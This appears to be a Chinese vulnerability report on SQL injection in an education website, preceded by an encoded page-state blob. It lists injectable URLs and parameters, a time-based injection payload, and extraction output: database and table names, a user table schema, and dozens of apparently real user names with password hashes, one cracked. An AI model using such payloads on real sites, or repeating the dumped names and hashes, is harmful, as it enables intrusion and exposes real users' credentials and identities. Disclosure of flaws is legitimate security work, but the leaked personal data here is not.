yR5oiY5p2vJnJkcXVvO%2bavlOi1m%2bS4re%2b8jOWkjeaXpuWkp%2bWtpuWcqDE5OTXlubTjgIExOTk55bm05ZKMMjAwMeW5tOS4ieasoeiOt%2bW%2bl%2baAu%2bWGoOWGm%2bOAgjIwMDLlubTvvIzlpI3ml6blpKflrablm6Llp5Tooqvor4TkuLrlhajlm70mbGRxdW875LqU5Zub57qi5peX5Zui5aeU5qCH5YW1JnJkcXVvO%2bOAguWtpueUn%2bivneWJp%2bWboue7j%2bW4uOWcqOagoeWbreS4iua8lOS4lueVjOWQjeWJp%2bWSjOiHque8luiHquWvvOiHqua8lOeahOaWsOaIj%2bOAguagoeeUt%2bWls%2baOkueQg%2bmYn%2bmDveaYr%2bWFqOWbveeUsue6p%2bmYn%2bOAguiJuuacr%2bS9k%2baTjeOAgeWwhOWHu%2baYr%2bWkjeaXpuWkp%2bWtpueahOS8oOe7n%2bS8mOengOS9k%2biCsumhueebru%2b8jOWcqOWFqOWbveWkp%2bWtpueUn%2bavlOi1m%2bS4reWxoeasoeWkuuWGoOOAguagoeWGheeOsOacieivneWJp%2bWbouOAgeS5pueUu%2bWNj%2bS8muetiTEwMOWkmuS4quWtpueUn%2bekvuWbou%2b8jOW5v%2bWkp%2bWtpueUn%2bWcqOesrOS6jOivvuWgguS4reaxsuWPluiQpeWFu%2b%2b8jOmUu%2beCvOaJjeW5suOAgjwvcD4NCjxwPuWkjeaXpuWKquWKm%2bS7peS4gOa1geeahOW4iOi1hO%2b8jOS4gOa1geeahOeuoeeQhu%2b8jOWfueWFu%2bWHuuS4gOa1geeahOWkjeaXpuS6uuaJjeOAguWkjeaXpuWfueWFu%2beahOS6uuaJje%2b8jOWcqOWQhOiHquWyl%2bS9jeS4iuWkp%2baYvui6q%2baJi%2b%2b8jOi1ouW%2bl%2bS6huekvuS8mueahOiCr%2bWumuWSjOeUqOS6uuWNleS9jeeahOaZrumBjeasoui%2fjuOAguacrOenkeavleS4mueUn%2be7neWkp%2bWkmuaVsOWcqDTmnIjlupXliY3og73okL3lrp7ljZXkvY3vvIzkupTjgIHlha3lrrbljZXkvY3kuonlpLrkuIDlkI3mr5XkuJrnlJ%2fnmoTnjrDosaHkuZ%2fkuI3kuY%2flhbbkvovjgILlnKjlhajlm73pq5jmoKHmr5XkuJrnlJ%2flsLHkuJrluILlnLrnq57kuonml6Xnm4rmv4Dng4jnmoTmg4XlhrXkuIvvvIzlpI3ml6bmnKznp5HnlJ%2flvZPlubTlsLHkuJrnjofov5HlubTmnaXlp4vnu4jlnKg5NSXku6XkuIrjgILku47mr5XkuJrnlJ%2fmtYHlkJHvvIzkuZ%2flj6%2fnnIvlh7rlpI3ml6bkurrlnKjnpL7kvJrlj5HlsZXkuK3miYDmi4XlvZPnmoTop5LoibLjgILov5vlhaXlm73lrrbmnLrlhbPnmoTkurrmlbDljaDmr5XkuJrmgLvkurrmlbDnmoQ2Je%2b9njcl77yM55u05Y2H5oiW6ICD5Y%2bW56CU56m255Sf77yM5Lul5Y%2bK55WZ5Zyo6auY5qCh5Y%2bK56eR56CU5Y2V5L2N55qE57qm5Y2gNDAl44CC6YeR6J6N5Y2V5L2N44CB5ZCE57G75YWs5Y%2b45LyB5Lia44CB5b6L5biI44CB5Lya6K6h5biI5LqL5Yqh5omA562J5q%2bU5L6L5Z2H6L6D6auY44CC55So5Lq65Y2V5L2N5pmu6YGN5Y%2bN5pig77yM5aSN5pem55qE5a2m55Sf5aSn5aSa5pWw5YW35aSH6Ieq5L%2bh5b%2bD5by644CB5pyJ5Y2P5L2c57K%2b56We44CB6YCC5bqU6IO95Yqb5by6562J6K%2b45aSa5LyY54K577yM5Zyo5bel5L2c5Lit5b6A5b6A6IO96ISx6aKW6ICM5Ye644CCPC9wPg0KPHA%2b5aSN5pem5aSn5a2m56eR5oqA5bel5L2c5Lul6Z2i5ZCR5Zu96ZmF56eR5a2m5YmN5rK%2f44CB6Z2i5ZCR5Zu95a625oiY55Wl6ZyA5rGC44CB6Z2i5ZCR5Zyw5pa55LiO5Zu95rCR57uP5rWO5Li75oiY5Zy65Li65oyH6ZKI77yM5Lul5byA5bGV5Y6f5aeL5oCn56eR5a2m5Yib5paw56CU56m244CB5Ye65LiA5rWB56eR5oqA5Lq65omN5LiO56eR5oqA5oiQ5p6c44CB5pyN5Yqh5LqO5Zu95a625a6J5YWo5LiO5Zyw5pa55Y%2bR5bGV5Li655uu5qCH77yM5Lul5om%2f5ouF5Zu95a625LiO5Zyw5pa56YeN5aSn56eR5oqA6aG555uu44CB5bu66K6%2b6YeN5aSn56eR5a2m5bmz5Y%2bw44CB5Z%2b56IKy5LyY56eA5Yib5paw5Zui6Zif5Li65oqT5omL44CC5L2c5Li66aaW5bit56eR5a2m5a625Y2V5L2N77yM55uu5YmN5om%2f5ouF5Zu95a626YeN54K55Z%2b656GA56CU56m25Y%2bR5bGV6KeE5YiS6aG555uu77yIOTcz6aG555uu77yJNumhue%2b8jDIwMDItMjAwM%2bW5tOiOt%2baJueWHhuWbveWutuiHqueEtuenkeWtpuWfuumHkemHjeWkp%2bS4jumHjeeCuemhueebrjE16aG577yM5LiK5rW35biC6YeN5aSn5LiO6YeN54K56aG555uuMjfpobnjgILmnInlm73lrrboh6rnhLbnp5Hlrabln7rph5Hlp5TkvJjnp4DliJvmlrDnoJTnqbbnvqTkvZMz5Liq77yM5LiK5rW35biC5LyY56eA56eR5oqA5Yib5paw576k5L2TMeS4quOAgui%2fkTXlubTlrabmoKHojrflvpflm73lrrbnuqfnp5HmioDmiJDmnpzlpZblirE26aG577yM5YW25Lit77yMJmxkcXVvO%2bibi%2beZvea%2fgOmFtuWcqOmYv%2beJh%2beJqei0qOS7i%2bWvvOeahOS%2foeWPt%2bi9rOWvvOWSjOiAkOWPl%2baIkOeYvuS4reeahOS9nOeUqCZyZHF1bzvjgIEmbGRxdW8756We57uP572R57uc55qE6Z2e57q%2f5oCn5pig54Wn55CG6K6677yM5L%2bh5Y%2b355uy5YiG56a75ZKM5Li75oiQ5Lu977yI5b6u5bCP5oiQ5Lu977yJ5YiG5p6QJnJkcXVvO%2bS7peWPiiZsZHF1bzvnoYXln7rkvY7nu7Tnu5PmnoTmnZDmlpnnmoTnoJTliLbnianmgKfnoJTnqbblj4rmlrDlnovlmajku7bliLblpIcmcmRxdW875LiJ6aG556eR56CU5oiQ5p6c5ZCM5pe26I2j6I63MjAwMuW5tOW6puWbveWutuiHqueEtuenkeWtpuWlluS6jOetieWllu%2b8jOWxheWFqOWbvemrmOagoeS5i%2bmmluOAguecgemDqOe6p%2benkeaKgOaIkOaenOWlluWKsTIxNOmhue%2b8jOiOt%2bW%2bl%2baOiOadg%2bS4k%2bWIqTI0Memhue%2b8jOWcqOWbvemZheS4iuWPkeihqOiuuuaWhzM2OTbnr4fjgILlnKjov5HkuInlubTjgIpTY2llbmNl44CL44CB44CKTmF0dXJl44CL562J5Zu96ZmF6aG257qn5pyf5YiK5Y%2bR6KGo6K665paH5pWwNeevh%2b%2b8jOWPluW%2bl%2bmHjeWkp%2beahOeqgeegtOOAgui%2fkeWHoOW5tO%2b8jOWtpuagoemdouWQkeWbveawkee7j%2ba1juS4u%2baImOWcuu%2b8jOWcqOS4k%2beUqOmbhuaIkOeUtei3r%2bOAgeiuoeeul%2bacuue9kee7nOW3peeoi%2bOAgeeUn%2beJqeaKgOacr%2bOAgeacieacuue6s%2bexs%2badkOaWmeWSjOWCrOWMluWJgueglOeptuetieaWuemdouW8gOWPkeS6huS4gOezu%2bWIl%2benkeaKgOaIkOaenO%2b8jOS6p%2beUn%2bS6huaYvuiRl%2beahOekvuS8muS4jue7j%2ba1juaViOebiuOAguWcqOmdnue6v%2baAp%2baVsOWtpuOAgeWFiOi%2fm%2badkOaWmeOAgeS6uuexu%2bWfuuWboOe7hOWtpuOAgeWfuuehgOWMu%2bWtpuS4juS4tOW6iuWMu%2bWtpuetiemihuWfn%2bWPluW%2bl%2bS6humHjeimgeeahOenkeaKgOi%2fm%2bWxleOAgjwvcD4NCjxwPuS6uuaWh%2benkeWtpuWSjOekvuS8muenkeWtpueglOeptuaWuemdou%2b8jOWcqOWOhuWxiuS4iua1t%2bW4guWTsuWtpuekvuS8muenkeWtpuS8mOengOaIkOaenOivhOmAieS4re%2b8jOWkjeaXpueahOiOt%2bWlluetiee6p%2bWSjOaAu%2baVsOmDveS7pee7neWvueS8mOWKv%2bmihuWFiO%2b8jOWFtuS4reOAiuS4reWbveWOhuWPsuWcsOWbvumbhuOAi%2bOAgeOAiuiLseaxieWkp%2bivjeWFuOOAi%2bOAgeOAiuS4reWbveaWh%2bWtpuaJueivhOmAmuWPsuOAi%2biOt%2beJueetieWllu%2b8m%2baciTXpobnmiJDmnpzojrcyMDAw5bm06aaW5bGK5YWo5Zu95ZOy5a2m56S%2b5Lya56eR5a2m5Z%2b66YeR6KeE5YiS6aG555uu5LyY56eA5oiQ5p6c5aWW77yM5YW25Lit55Sx6ZmG6LC35a2Z5pWZ5o6I5Li757yW55qE44CK6Iux5rGJ5aSn6K%2bN5YW444CL6I635LiA562J5aWW77yM5piv5LiK5rW35Zyw5Yy65ZSv5LiA55qE5LiA562J5aWW6I635b6X6ICF44CC5aSN5pem6L%2bY5aSa5qyh6I635b6X5Lit5Zu95Zu%2b5Lmm5LiA562J5aWW44CBJmxkcXVvO%2bS6lOS4quS4gOW3peeoiyZyZHF1bzvkvJjnp4Dlm77kuablpZbjgIHkuIrmtbfluILkvJjnp4Dlm77kuabnibnnrYnlpZbnrYnlpZbpobnjgIIyMDAy5bm05om%2f5ouF5Zu95a6256S%2b5Lya56eR5a2m5Z%2b66YeR6aG555uuMzHpobnvvIzliJflhajlm73pq5jmoKHnrKzkuozkvY3vvIzojrflm73lrrbnpL7kvJrnp5HlrablpZYyMumhueOAgjwvcD4NCjxwPuWkjeaXpuWkp%2bWtpui%2fmOenr%2baegeWFtOWKnuenkeaKgOS6p%2bS4mu%2b8jOaOqOWKqOS6p%2bOAgeWtpuOAgeeglOiBlOWQiOS9k%2b%2b8jOS%2fg%2bi%2fm%2benkeaKgOaIkOaenOi9rOWMluS4uueUn%2bS6p%2bWKm%2bOAgumAmui%2fh%2baOoue0ouWSjOWunui3te%2b8jOWQuOWPluS6huWbveWGheWkluacieebiueahOe7j%2bmqjO%2b8jOWunuaWveWkmuenjeaooeW8j%2bWPkeWxleenkeaKgOS6p%2bS4mu%2b8jOS9v%2bWtpuagoeenkeaKgOaIkOaenOi9rOWMluWPiuS6p%2bS4muWMluW3peS9nOW%2bl%2bWIsOS6huW%2biOWkp%2beahOWPkeWxle%2b8jOW5tuS4lOaJk%2bmAoOWHuuS6hiZsZHF1bzvlpI3ml6YmcmRxdW8755Sf5py65YuD5YuD55qE5qCh5Yqe5Lqn5Lia576k77yM5Lmf5byA6L6f5Ye65LiA5p2h5YW35pyJJmxkcXVvO%2bWkjeaXpueJueiJsiZyZHF1bzvnmoTkuqfkuJrljJbkuYvot6%2fjgILnjrDmnInkuIrluILlhazlj7gz5a6277yM5YW25Lit6aaZ5riv5Yib5Lia5p2%2f5LiK5biC5YWs5Y%2b4MuWutu%2b8jOWmguS4iua1t%2bWkjeaXpuW%2brueUteWtkOiCoeS7veaciemZkOWFrOWPuO%2b8jOaYr%2bWbveWGhemmluWutuS4k%2bmXqOS7juS6i%2bi2heWkp%2binhOaooembhuaIkOeUtei3r%2biuvuiuoeOAgeW8gOWPkeOAgeeUn%2bS6p%2bOAgemUgOWUrueahOWPkei1t%2bW8j%2biCoeS7veaciemZkOWFrOWPuO%2b8jOWug%2baYr%2bWcqOmmmea4r%2bS4iuW4gueahOesrOS4gOS4quWkjeaXpuWkp%2bWtpuWTgeeJjOeahOmrmOenkeaKgOS8geS4mu%2b8jOWcqCZsZHF1bzvkuprmtLLph5Hono0mcmRxdW875p2C5b%2bX6K%2bE5Ye655qEMjAwMeW5tOW6puS4reWbveWkp%2bmZhuWcsOWMuuacgOS9s%2bS8geS4muaOkuihjOamnOS4iu%2b8jOivpeWFrOWPuOWIl%2bS4uuesrOWNgeS9jeOAgjwvcD4NCjxwPuWtpuagoeebruWJjeWNoOWcsOmdouenrzI2MOWkmuS4h%2bW5s%2baWueexs%2b%2b8jOagoeiIjeW7uuetkemdouenrzExMOWkmuS4h%2bW5s%2baWueexs%2b%2b8jOWFqOagoeWbuuWumui1hOS6pzE55Lq%2f5YWD44CC5a2m5qCh546w5pyJ5ZCE57G75a6e6aqM5a6kMTMw5aSa5Liq77yM5YW25Lit5pyJNeS4quWbveWutumHjeeCueWunumqjOWupO%2b8jDEw5Liq5pWZ6IKy6YOo6YeN54K55a6e6aqM5a6k77yMNuS4quWNq%2beUn%2bmDqOmHjeeCueWunumqjOWupO%2b8m%2baLpeacieaWh%2beQhuWMuzPkuKrlm77kuabppobvvIzlhajmoKHnjrDmnInol4%2fkuaY0MzPkuIflhozvvIzmnJ%2fliIrmgLvmlbDotoXov4cyLjXkuIfnp43vvIzlnYflsYXlhajlm73pq5jmoKHliY3liJfjgILov5HlubTmnaXvvIzlrabmoKHkuLrov47mjqXnmb7lubTmoKHluobvvIzmoKHlm63ln7rmnKzlu7rorr7lhajpnaLpk7rlvIDvvIzmsZ%2fmub7mlrDmoKHljLoxNTAw5Lqp5Zyf5Zyw5bey5Yqo5bel5YW05bu677yM6aKE6K6h5LiA5pyf5bel56iL5Zyo55m%2b5bm05qCh5bqG5YmN5a6M5oiQ77yM6YKv6YO45qCh5Yy655qE5YWJ5Y2O5qW844CB5p6r5p6X5qCh5Yy656eR56CU5qW85ZKM5q2j5aSn5L2T6IKy6aaG5Lmf5bCG5LqO55m%2b5bm05qCh5bqG5YmN56uj5bel77yM5byg5rGf5Zut5Yy65ZKM5paw6Ze75a2m6Zmi5Zut5Yy655qE5bu66K6%2b6L%2bb5bGV6aG65Yip44CCPC9wPg0KPHA%2b5aSN5pem5aSn5a2m5bey5oiQ5Li65Zu96ZmF5LiK5pyJ5b2x5ZON55qE5a2m5pyv5Lit5b%2bD5LmL5LiA77yM5YW35pyJ5bm%2f5rOb57Sn5a%2bG55qE5Zu96ZmF6IGU57O777yM5a2m5pyv5Lqk5rWB5rS75Yqo6Z2e5bi45rS76LeD77yM5bey5LiO6L%2bRMzDkuKrlm73lrrblkozlnLDljLrnmoQyMDDlpJrmiYDpq5jmoKHlkoznoJTnqbbmnLrmnoTlu7rnq4vkuoblkIjkvZzkuqTmtYHlhbPns7vvvIzlubblkJEzMDDlpJrkvY3lm73pmYXnn6XlkI3lrabogIXlkozkurrlo6vmjojkuojkuoblkI3oqonljZrlo6vjgIHlkI3oqonmlZnmjojjgIHpob7pl67mlZnmjojnrYnnp7Dlj7fjgILnvo7lm73liY3mgLvnu5%2fph4zmoLnjgIHms5Xlm73liY3mgLvnu5%2flvrfmlq%2flnabjgIHojbflhbDliY3pppbnm7jlkJXotJ3lsJTmlq%2fjgIHku6XoibLliJfliY3mgLvnkIbmi4nlrr7nrYnlpJblm73lhYPpppbmiJbmlL%2flupzpppbohJHvvIzlnKjogYzmnJ%2fpl7Tmm77liLDlpI3ml6borr%2fpl67lubblj5HooajmvJTorrLjgILlpI3ml6blpKflrabnp6%2fmnoHlj4LkuI7lkITnsbvph43opoHlm73pmYXlpKflrabnu4Tnu4fvvIznu6cxOTk45bm05oiQ5Yqf5Li%2b5Yqe5LqG5Lic5Lqa56CU56m25Z6L5aSn5a2m5bm05Lya5LmL5ZCO77yMMjAwMOW5tOaIkOWKn%2bS4vuWKnjIx5LiW57qq5aSn5a2m5qCh6ZW%2f5Y2P5Lya56ysNOasoeW5tOS8mu%2b8jDIwMDHlubTlj4jmiJDlip%2fkuL7lip7kuoYmbGRxdW87546v5aSq5bmz5rSL5aSn5a2m5Y2P5LyaJnJkcXVvO%2besrOS6lOasoeW5tOS8muOAgumaj%2bedgOWkjeaXpuWcqOWbvemZheS4iuWcsOS9jeeahOaPkOWNh%2b%2b8jOacieebuOW9k%2bmDqOWIhueahOWtpuacr%2bS8muiuruWcqOWkjeaXpuS4u%2bWKnu%2b8jOS7hTIwMDLlubTlrabmoKHlsLHkuLvlip7kuoblm73pmYXmlbDlrabogZTnm5%2fmiaflp5TkvJrkvJrorq7jgIHlm73pmYXlkIjmiJDph5HlsZ7kvJrorq7lkoznrKzkuIPlsYrkuJbnlYzlr7nlpJbmsYnor63mlZnlrabkvJrorq7nrYnpq5jop4TmoLzjgIHlpKfop4TmqKHnmoTlm73pmYXlrabmnK%2fkvJrorq7jgILov5Hlh6DlubTvvIzlpI3ml6blpKflrabnp6%2fmnoHmjqjov5vlm73pmYXljJbov5vnqIvvvIzkuI7nvo7lm73ogLbpsoHlpKflrabjgIHml6XmnKzml6nnqLvnlLDlpKflrabjgIHmlrDliqDlnaHlm73nq4vlpKflrabnrYnkuJbnlYzokZflkI3lpKflrablu7rnq4vkuobmiJjnlaXlkIjkvZzkvJnkvLTlhbPns7vjgILlpI3ml6bmoKHokaPkvJrng63lv4PlrabmoKHlt6XkvZzvvIzlrabmoKHmr4%2flubTpg73lvpfliLDmoKHokaPnmoTlpKflipvotYTliqnjgII8L3A%2bDQo8cD7ml6XmnIjlhYnljY7vvIzml6blpI3ml6blha7jgILlnKjlm73lrrbmlZnogrLpg6jlkozkuIrmtbfluILmlL%2flupznmoTph43ngrnmipXotYTkuIvvvIzlpI3ml6bov5nmiYDnmb7lubTlkI3moKHmraPlipvkuonlu7rorr7miJDkuLrkuIDmiYDnq4votrPkuIrmtbfjgIHmnI3liqHlhajlm73jgIHlm73pmYXkuIDmtYHnmoTpq5jmsLTlubPjgIHnoJTnqbblnovnmoTkuJbnlYzkuIDmtYHnu7zlkIjmgKflpKflrabvvIzkuLrkurrnsbvmlofmmI7ov5vmraXvvIzkuI3mlq3mjqLntKLmlZnogrLjgIHnp5HmioDliJvmlrDlkozliLbluqbliJvmlrDmiJDmnpzjgII8L3A%2bDQo8cD48L3A%2bZAICDw8WAh8CaGRkAgMPDxYCHgRUZXh0BQzlpI3ml6blpKflraZkZAIFDxYCHwMF2QIgPGltZyBzcmM9J2h0dHA6Ly93d3cubmV3Y2xhc3Nlcy5vcmcvdXBsb2FkL3p5dFwyMDEyMTJcNjM0OTA0OTY3MTExODgwMDAwLmpwZycgaGVpZ2h0PScxMjgnIHdpZHRoPScyMDAnLz4gPGltZyBzcmM9J2h0dHA6Ly93d3cubmV3Y2xhc3Nlcy5vcmcvdXBsb2FkL3p5dFwyMDEyMTJcNjM0OTA0OTY3MTcxOTUwMDAwLmpwZycgaGVpZ2h0PScxMjgnIHdpZHRoPScyMDAnc3R5bGU9J21hcmdpbjogMCAxOHB4IDAgMThweDsnLz4gPGltZyBzcmM9J2h0dHA6Ly93d3cubmV3Y2xhc3Nlcy5vcmcvdXBsb2FkL3p5dFwyMDEyMTJcNjM0OTA0OTY3MjE2MzYwMDAwLmpwZycgaGVpZ2h0PScxMjgnIHdpZHRoPScyMDAnLz5kGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQ5jdGwwMCRpYnRMb2dpbgUjY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyMSRGb3JtVmlldzEPFCsAB2RkZGRkFgACAWT7s3XYxk9saysi7pudjbN9yjtogg%3d%3d


http://www.newclasses.org/Active/2015zyt/page/schoolDetail.aspx?schoolid=1
http://www.newclasses.org/Active/2015zyt/page/schoolSearch.aspx?is211985=&page=8&SchoolName=&score1=1&score2=1&select=&show=1
(参数score1,score2,select都是注射点)
http://www.newclasses.org/zznh/page/info02.aspx?Esayid=207


贴出注射代码及数据:

Payload: http://www.newclasses.org:80/2013ZYT/school_detail.aspx?schoolid=1'; WAITFOR DELAY '0:0:2'--


available databases [31]:
[*] Active
[*] Ask
[*] askgong
[*] AskNew
[*] BookSell
[*] ConvergenceDB
[*] DataAnlysis
[*] Eastern
[*] EnglishMatch
[*] FtzDB
[*] GKSite
[*] master
[*] MathematicsDB
[*] misDB
[*] model
[*] msdb
[*] NetWork
[*] NewClasses
[*] ReportServer
[*] ReportServerTempDB
[*] studyDB
[*] studyDBNew
[*] tempdb
[*] TestOnLine
[*] userlogDB
[*] userlogDBNew
[*] wishDB
[*] WishDBBak
[*] YwbDB
[*] ZKSite
[*] zw


获取当前数据库名称,current-db,而且是个普通用户,无法直接getshell!
得到当前数据库下庞大的表名。
current database: 'NewClasses'

Database: NewClasses
[190 tables]
+--------------------------+
| Achievements |
| Blessing |
| CheckMob |
| ClassClass |
| ClassCondition |
| ClassCourse |
| ClassCourseType |
| ClassHead |
| ClassLecture |
| ClassSeateTimeTable |
| ClassStudent |
| ClassStudentLog |
| ClassTableSpan |
| ClassTeacher |
| ClassTimeSpan |
| ClassTimeTales |
| ClassTimeType |
| ClassTimetable |
| CountSSP |
| Counts |
| Course_FeedBack |
| D99_CMD |
| D99_REG |
| D99_Tmp |
| FiveYear |
| GradeTemp |
| Infos |
| MS_FeedBack |
| MarketSource |
| MesInfo |
| MesInfoType |
| MesMterrcodeError |
| MesMtstatError |
| NATIONALMAP |
| NewUserSoureNo |
| OfflineCampus |
| OfflineClass |
| OfflineClassBak |
| OfflineCourse |
| OfflineCourseBak |
| OfflineCourseType |
| OfflineCourseTypeBak |
| OfflineLecture |
| OrderCourse |
| OrderCourseBak |
| OrderCourseBak_20130708 |
| OrderHead |
| OrderMoney |
| OrderRevenueType |
| ParaCityV2 |
| ParaDistrict |
| ParaDistrictV2 |
| ParaProvince |
| ParaProvinceV2 |
| ParaRegion |
| ParaStreetV2 |
| RecArea |
| RecChannel |
| RecommendUser |
| Reservation |
| ReservationType |
| Satisfaction |
| School |
| SelfEnrollment |
| SpecialTest |
| SspUserinfo |
| Suggest |
| TeacherEvaluation |
| TestUpLoad |
| TimeType |
| UpLoad |
| UpLoadSource |
| UpLoadType1 |
| UpLoadType2 |
| UserActivation |
| UserCard |
| UserFavInfo |
| UserInfo |
| UserInfoSsp |
| UserInfoSubject |
| UserInfo_bk2012 |
| UserInfo_bk2013 |
| UserParentInfo |
| UserSource |
| UserSourceNo |
| V2M_CourseLectures |
| V2M_CourseMatching |
| V2M_CourseWare |
| V2M_ExpTemp |
| V2M_HighSchool |
| V2M_HighSchoolScore |
| V2M_InfoHeadline |
| V2M_InfoReferrals |
| V2M_Information |
| V2M_OvertLecture |
| V2M_OvertLecture2 |
| V2M_Search |
| V2M_StudentExp |
| V2M_UrlRewriter |
| V2P_AD |
| V2P_AdRelationship |
| V2P_CourseClass |
| V2P_CourseGrade |
| V2P_CourseSubject |
| V2P_CourseType |
| V2P_HighSchoolPic |
| V2P_HighSchoolType |
| V2P_InfoBigClass |
| V2P_InfoSmallClass |
| V2P_Keyword |
| VC_TO_MS |
| VW_SysUserInfo |
| YXX_FeedBackQuestion |
| YXX_MyScore |
| YXX_StudentFile |
| Yxx_AccessReply |
| Yxx_Anouncement |
| Yxx_ClickInfo |
| Yxx_ComBuildUp |
| Yxx_ExcellentNoteShare |
| Yxx_ExpFaceExp |
| Yxx_ExpFileShareComment |
| Yxx_LatestPolicy |
| Yxx_LittleSurvey |
| Yxx_Mails |
| Yxx_NewCoin |
| Yxx_NewCoin_Bak |
| Yxx_Recommend |
| Yxx_ScoreLevel |
| Yxx_Stu_Listening |
| Yxx_StudyFriends |
| Yxx_Teacher |
| Yxx_TeacherInClass |
| Yxx_TeacherType |
| Yxx_UrlReferrer |
| Yxx_UserActionLog |
| Yxx_VC_Anouncement |
| Yxx_VC_ClassMessge |
| Yxx_VC_Classes |
| Yxx_VC_FacePostionType |
| Yxx_VC_MessageToTeachers |
| Yxx_VC_StudentInClasses |
| Yxx_V_Note |
| Yxx_V_NoteParameter |
| Yxx_V_NoteType |
| Yxx_WKClick |
| Yxx_WebClassAccess |
| Yxx_YourMBTI |
| _20140103OfflineCourse |
| _School20130125 |
| figure |
| gszz |
| iplist |
| mzKnowledgeId |
| mzPosts |
| mzQuestionId |
| mzQuestionTraining |
| mzTeaMessage |
| mzTeacher |
| mzTeacherEvaluation |
| projectTemplate |
| projectTemplateConent |
| projectTemplateCourses |
| redpackte |
| stuRecomAchievements |
| stuRecomContestants |
| stuRecomCourse |
| stuRecomSellOneself |
| stuRecomType |
| studentspositions |
| sysdiagrams |
| tblInfosDownload |
| tblXJ2012 |
| v2m_LearningContent |
| v2p_LearningType |
| v2p_LearningType_Small |
| ztDig |
| ztOrder |
| ztOrderCouse |
| ztOrderMoney |
| zzCourseComment |
| zzCourseType |
| zzCouserWareDetails |
| zzMajorLecture |
| zzOrder |
| zzOrderCouse |
| zzOrderMoney |
| zzRefund |
| zzUserSource |
| zz_sh_enroll |
+--------------------------+


Database: NewClasses
Table: UserInfo
[52 columns]
+-------------------+------------------+
| Column | Type |
+-------------------+------------------+
| addAdminTime | smalldatetime |
| AddBy | varchar |
| AddedTime | datetime |
| Address | nvarchar |
| Avatar | varchar |
| Birthday | varchar |
| BMlevel | int |
| DeleteBy | varchar |
| DeleteTime | datetime |
| DistrictId | uniqueidentifier |
| EducationLevel | varchar |
| Email | varchar |
| ErrorAddress | bit |
| Grade | varchar |
| Id | int |
| IsClear | bit |
| IsDelete | bit |
| IsJoinRecruitment | varchar |
| isListForCF | bit |
| IsModify | bit |
| IsOnLine | int |
| LastLoginIp | varchar |
| LastLoginTime | datetime |
| LockType | int |
| MobilePhone | varchar |
| ModifyBy | varchar |
| ModifyTime | datetime |
| MSN | varchar |
| nowAdmin | varchar |
| otherCourse | varchar |
| otherTel | nvarchar |
| PassWord | varchar |
| PostCode | varchar |
| ProvinceId | uniqueidentifier |
| pwd | varchar |
| QQ | varchar |
| RegIP | varchar |
| RegSourceID | nvarchar |
| RegSourceIn | nvarchar |
| RegSourcePage | nvarchar |
| RegTime | datetime |
| remark | nvarchar |
| SchoolId | uniqueidentifier |
| Sex | nchar |
| Status | int |
| StudentId | uniqueidentifier |
| studentno | varchar |
| Tel | varchar |
| UserId | varchar |
| UserName | nvarchar |
| UserSourceId | uniqueidentifier |
| UserType | char |
+-------------------+------------------+


Database: NewClasses
Table: UserInfo
[9715 entries]
+------------+---------------------------------------------------------------------+
| UserName | PassWord |
+------------+---------------------------------------------------------------------+
| 邬出现 | 243a1e2ad0be110e568c223b3a5bcddc |
| 袁受种 | 243c5bbdb03fe04977844168519b0cbc |
| 汤烈以 | 2440baeef821ab23a20eede8df29653a |
| 窦量的 | 24410185a0183628661fe5d5c0b2be3e |
| 李惠 | 2441d30af50c96ebc6823358c64b0780 |
| 谢蒙 | 2442152c33b29fc63d06f377eff8f53f |
| 吕昕雨 | 244265ecf4a687833364e80f167c1107 |
| 戴安 | 2442fbb8772133e6c374a2bae71fccd2 |
| 黄慧淋 | 24433223389015f8ce4e1bbb81c268a8 |
| 方遥 | 2444cec55baff844cc6176f54c9f5ace |
| 马之梅 | 244590e2aaffd3baff044cf8ab0a7f4e |
| 项舒艺 | 2446a9ed5b002b908b3ce7bf9449c2bf |
| 王惊涛 | 24483baa74a690731a3c78d614422e58 |
| 贺副一 | 244b216e2d3687cc20e5fa71d6622d69 |
| 张一 | 244b4588bf750985dd2b8a1a4a498327 |
| 计唯一 | 244b94622d0cd532e63480de7dc6452d |
| 宋世怡 | 244c1619ed6a0af4f613d0554c061680 |
| 屈的才 | 244c78bc05f76e8a201b1d6c807f5ec8 |
| 周珍爱 | 244d79ad5209bd1d4a41473b60ca6df4 |
| 危中进 | 244ed75d68b5726d565645746d129af3 |
| 冯允 | 244ff3f782ac05dd2f7a50f223d3d46a |
| 狄造要 | 2450bc65341777d4ab972b4e3d27c5e4 |
| 章帮衡 | 245192427cab1925e0f86470c9691c8e |
| 谢的衷 | 2451dec19aee26cd6f07c0ede8f8dcdb |
| 张晓卉 | 245285b796ce213e8196d0768760c334 (980313) |
| 刘予舟 | 2452def5bc2d39c53714784c4c024f22 |
| 贺方情 | 245521b1501aa90943535c056af256e9 |
| 花世法 | 24552d4364ebe16ff7323c16172638b4 |
| 翟丽辉 | 24553c8c90667548547678353c75c61c |
| 杨高为 | 245543ee64d9424e0298c6e43deaeb65 |
| 黄晟婷 | 24557862227f8a8060cebb5d7dc23da5 |
| 周话家 | 2455b2c45566cf612c994aba376ccb91 |
| 朱丽瑜 | 2456aa80e94b616ab84948d79a26c597 |
| 于秘社 | 245703c9040d73df964a8c02ae5cfd40 |
| 张欢玲 | 2457d5c4f6dba8601ba5c92d0a8a41ee |
| 宫照飞 | 245a8af1ca3b273fc9a8500a302d7ab1 |
| 励好 | 245ac6afc6ba3ad356552a3dbf1ead18 |
| 安屉隐 | 245aec9fac67213220b403b6a4cc3cc1 |
| 戴炼敏 | 245b82d147bd0db54a7b032b5b719ada |
| 齐好在 | 245ce100b6dafe2010b1a8842953052f |
| 朱钰 | 245e45cb40611083434a2c4f2edcab2d |
| 萧一者 | 245f29b044d72f259d36d99537436f27 |
| 朱嫣婷 | 245f595a446b07b8176bf88ee22b0ad1 |
| 孟雨琴 | 246117a792c51f59ae0b4ea6176ef0f2 |
| 童鑫熠 | 24621a24e54066cd0dea08eba88fb84b |
| 邹俊 | 24626fa716b599a9bae569a52c473003 |
| 叶莺 | 2462ff86bfc29f29b957bd168ac78beb |
| 郁家浩 | 2463410097708f4d92750ecb73d9ccb0 |
| 蔡诗帆 | 24635ac28fe89cde4916e172b2e14af3 |
| 陈文 | 246373a49c83642ea45eb74e4357e354 |
| 方手强 | 24649e5baed869c6848ab2c836f2660e |
| 唐徐磊 | 246640953903090baec8c9534001a57d |
| 金鸣儒 | 246646e50b6b5bf09bfe38a57c02e4dd |
| 王金 | 2466b6f48938dbadeda638e4e6630d4c |
| 马磊 | 24672363ba0ecfe36d432fc80133bc45 |
